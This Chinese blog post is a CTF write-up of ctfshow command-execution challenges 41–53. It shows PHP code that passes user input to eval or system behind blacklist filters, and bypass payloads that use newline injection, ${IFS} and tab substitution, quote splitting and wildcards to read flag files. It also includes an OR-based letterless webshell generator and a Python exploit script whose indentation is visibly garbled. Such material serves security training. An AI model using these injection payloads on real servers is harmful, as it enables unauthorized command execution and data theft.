freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

ctfshow-命令执行[41-53]
Zer0biubiu 2022-03-19 15:47:22 146079
所属地 宁夏

web41 无数字和字符

<?php

  /*
  # -*- coding: utf-8 -*-
  # @Author: 羽
  # @Date:   2020-09-05 20:31:22
  # @Last Modified by:   h1xa
  # @Last Modified time: 2020-09-05 22:40:07
  # @email: 1341963450@qq.com
  # @link: https://ctf.show

  */

  if(isset($_POST['c'])){
    $c = $_POST['c'];
    if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
      eval("echo($c);");
    }
  }else{
    highlight_file(__FILE__);
  }
?>

过滤了数字和字母和$、+、-、^、~ 但保留了 |

说明可以使用或用算 原理:不包含数字和字母的webshell

直接上脚本

先使用php脚本异或出可用的字符:

<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }

		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)|urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);

img

得到异或的结果后,执行py脚本

# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os

if(len(argv)!=2):
    print("="*50)
    print('USER:python exp.py <url>')
    print("eg:  python exp.py http://ctf.show/")
    print("="*50)
    exit(0)
    url=argv[1]
    def action(arg):
        s1=""
        s2=""
        for i in arg:
            f=open("rce_or.txt","r")
            while True:
                t=f.readline()
                if t=="":
                    break
                    if t[0]==i:
                        #print(i)
                        s1+=t[2:5]
                        s2+=t[6:9]
                        break
                        f.close()
                        output="(\""+s1+"\"|\""+s2+"\")"
                        return(output)

                    while True:
                        param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
                        data={
                            'c':urllib.parse.unquote(param)
                        }
                        r=requests.post(url,data=data)
   print("\n[*] result:\n"+r.text)

img

web42 黑洞

<?php

  /*
  # -*- coding: utf-8 -*-
  # @Author: h1xa
  # @Date:   2020-09-05 20:49:30
  # @Last Modified by:   h1xa
  # @Last Modified time: 2020-09-05 20:51:55
  # @email: h1xa@ctfer.com
  # @link: https://ctfer.com

  */


  if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");//作用是不显示结果
  }else{
    highlight_file(__FILE__);
}

/dev/null:表示 的是一个黑洞,通常用于丢弃不需要的数据输出, 或者用于输入流的空文件

解法:

  1. 后面加;

payload:?c=cp flag.php 1.txt;

  1. 后面加%0a

payload:?c=cp flag.php 1.txt%0a

web43

<?php

  /*
  # -*- coding: utf-8 -*-
  # @Author: h1xa
  # @Date:   2020-09-05 20:49:30
  # @Last Modified by:   h1xa
  # @Last Modified time: 2020-09-05 21:32:51
  # @email: h1xa@ctfer.com
  # @link: https://ctfer.com

  */


  if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
      system($c." >/dev/null 2>&1");
    }
  }else{
    highlight_file(__FILE__);
}

黑洞+过滤了;和大小写的cat

payload:?c=tac f*%0aimg

web44

<?php

  /*
  # -*- coding: utf-8 -*-
  # @Author: h1xa
  # @Date:   2020-09-05 20:49:30
  # @Last Modified by:   h1xa
  # @Last Modified time: 2020-09-05 21:32:01
  # @email: h1xa@ctfer.com
  # @link: https://ctfer.com

  */


  if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
      system($c." >/dev/null 2>&1");
    }
  }else{
    highlight_file(__FILE__);
}

黑洞加上过滤了; cat flag

payload:?c=tac f*%0a

img

web45

<?php

  /*
  # -*- coding: utf-8 -*-
  # @Author: h1xa
  # @Date:   2020-09-05 20:49:30
  # @Last Modified by:   h1xa
  # @Last Modified time: 2020-09-05 21:35:34
  # @email: h1xa@ctfer.com
  # @link: https://ctfer.com

  */


  if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
      system($c." >/dev/null 2>&1");
    }
  }else{
    highlight_file(__FILE__);
}

比上一题多过滤了一个空格

空格代替:

  • ${IFS}
  • ${IFS}$1
  • $IFS$1
  • <>
  • <
  • %09(需要PHP环境)

cat代替:

tac、nl、more、tail、sort、less、head等

payload:?c=tac%09f*%0a

img

web46

<?php

  /*
  # -*- coding: utf-8 -*-
  # @Author: h1xa
  # @Date:   2020-09-05 20:49:30
  # @Last Modified by:   h1xa
  # @Last Modified time: 2020-09-05 21:50:19
  # @email: h1xa@ctfer.com
  # @link: https://ctfer.com

  */


  if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
      system($c." >/dev/null 2>&1");
    }
  }else{
    highlight_file(__FILE__);
}

过滤了分号、flag、空格、数字、$、星号

payload:

?c=tac%09fla?.php%0a

img

web47

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:59:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

payload同上一题

web48

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:06:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

payload同上一题

web49

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:22:43
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

同上一题payload

web-50

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:32:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

%09%26都无了 空格使用其他绕过,&也可以换其他绕过

此时使用带行号读nl nl不支持通配符 ,那么可以使用php特性,字符串之间有两个''分隔,可以自动忽略

payload:?c=nl<fla''g.php%0a

img

web51

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:42:52
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

同上一题payload

web52

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:50:30
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多过滤了大小于号

payload:?c=nl${IFS}fla''g.php%0a

img

得到虚假的flag

说明其他目录下可能存在着flag,

查看当前目录:pwd

img

/var/www/html

img

通过../不断返回上一级目录查看?c=ls$IFS/../../%0a

img

存在flag

读取img

。。。。莫名其妙

换一下思路尝试一下mv

?c=cp${IFS}/fla?${IFS}/var/www/html/a.tx

查看是否复制成功img

访问成功img

前面的问题重启环境即可解决

img

web53

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 18:21:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>
".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}

payload:?c=nl${IFS}fla''g.php%0a

# CTF # rce # ctfshow
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 Zer0biubiu 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
Zer0biubiu LV.3
这家伙太懒了,还未填写个人描述!
  • 6 文章数
  • 2 关注者
浅谈Cookie、Session、Token、JWT及关于JWT的ctf题目
2022-04-10
总结-CTF中的一些命令执行
2022-03-19
ctfshow-命令执行[118-124]
2022-03-19